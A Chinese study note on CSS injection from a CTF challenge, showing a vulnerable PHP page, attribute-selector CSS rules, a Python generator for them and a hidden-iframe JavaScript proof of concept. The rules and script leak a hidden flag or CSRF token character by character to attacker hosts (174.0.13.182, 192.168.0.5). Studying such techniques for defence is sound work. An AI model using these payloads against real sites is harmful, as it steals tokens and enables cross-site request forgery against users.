关于css注入是第一次看到,这里记录学习一下。
第一种姿势
先来做一个简单的实验:
<?php $token1 = md5($_SERVER['HTTP_USER_AGENT']); $token2 = md5($token1); $css = $_GET['css']; ?> <!doctype html><meta charset=utf-8> <input name="flag" type=hidden value="flag{xxx}"> <script> var TOKEN = "<?=$token2 ?>"; </script> <link rel="stylesheet" href="<?=$css ?>" />
假设我们现在要窃取页面的flag值的第一位f
,那么现在在我们的vps上写入:
一般CSRF Token的type都为hidden,会有不加载
background-image
属性的情况(本地测试是最新版FIrefox不加载,Chrome加载)解决该问题的办法是使用~兄弟选择器(选择和其后具有相同父元素的元素),加载相邻属性的
background-image
,达到将数据带出的目的。
input[name=flag][value^="f"] ~ * { background-image: url("http://vps/?flag=f"); }
然后传入payload:
?css=http://vps/poc.css
在vps监听:
那么以这个思路,对flag值逐一爆破,为了方便写了个脚本:
#python
f = open("poc.css","w") dic = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}-" for i in dic: payload = '''input[name=flag][value^="flag{'''+i+'''"] ~ * {background-image:url("http://174.0.13.182:8888/?flag=flag{'''+i+'''");}''' f.write(payload + "\n") f.close()
依次盲注,就可以把flag值爆出来了。
通过上述手段只能CSRF Token的部分数据,那我们该如何获得全部数据呢?
第二种姿势
通过不断创建iframe,动态猜解每一位csrf token
当然这需要目标站点x-frame-options
未被禁用,当然本题并未限制此方法
poc:https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e
<html> <style> #current { font-size: 32px; color: red; } #time_to_next { font-size: 24px; color: black; } #frames { visibility: hidden; } </style> <body> <div id="current"></div> <div id="time_to_next"></div> <div id="frames"></div> </body> <script> chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".split(""); known = ""; target_time = new Date(); timer = 0; function test_char(known, chars) { // Remove all the frames document.getElementById("frames").innerHTML = ""; // Append the chars with the known chars css = build_css(chars.map(v => known + v)); // Create an iframe to try the attack. If `X-Frame-Options` is blocking this you could use a new tab... frame = document.createElement("iframe"); frame.src = "http://192.168.0.5/css/?css=" + css; frame.style="visibility: hidden;"; //gotta be sneaky sneaky like document.getElementById("frames").appendChild(frame); // timer stuff because we want to be l33t clearInterval(timer); target_time = new Date(); target_time.setSeconds(target_time.getSeconds() + 3); timer = setInterval(function() { var current_time = new Date(); diff = target_time - current_time; document.getElementById("time_to_next").innerHTML = "Time to next reload: " + diff / 1000; }, 50); // in 3 seconds, after the iframe loads, check to see if we got a response yet setTimeout(function() { var oReq = new XMLHttpRequest(); oReq.addEventListener("load", known_listener); oReq.open("GET", "http://192.168.0.5/css/?css="); oReq.send(); }, 3000); } function build_css(values) { css_payload = ""; for(var value in values) { css_payload += "input[value^=" + values[value] + "]~*{background-image:url(http://192.168.0.5:8012/" + values[value] + ")%3B}"; //can't use an actual semicolon because that has a meaning in a url } return css_payload; } function known_listener () { document.getElementById("current").innerHTML = "Current Token: " + this.responseText; if(known != this.responseText) { known = this.responseText; test_char(known, chars); } else { known = this.responseText; alert("CSRF token is: " + known); } } test_char("", chars); //若监听到第一位为f,需依次传入第一位参数中。 </script> </html>
那iframe被禁用了,还有办法注入吗?
第三种姿势
参考这篇文章:https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b
提供了一个工具:使得可以通过import css来获得token:https://github.com/d0nutptr/sic
Refer:
https://nikoeurus.github.io/2019/11/30/2019%E5%AE%89%E8%AF%A2%E6%9D%AF-Web/#cssgame
https://xz.aliyun.com/t/6911#toc-12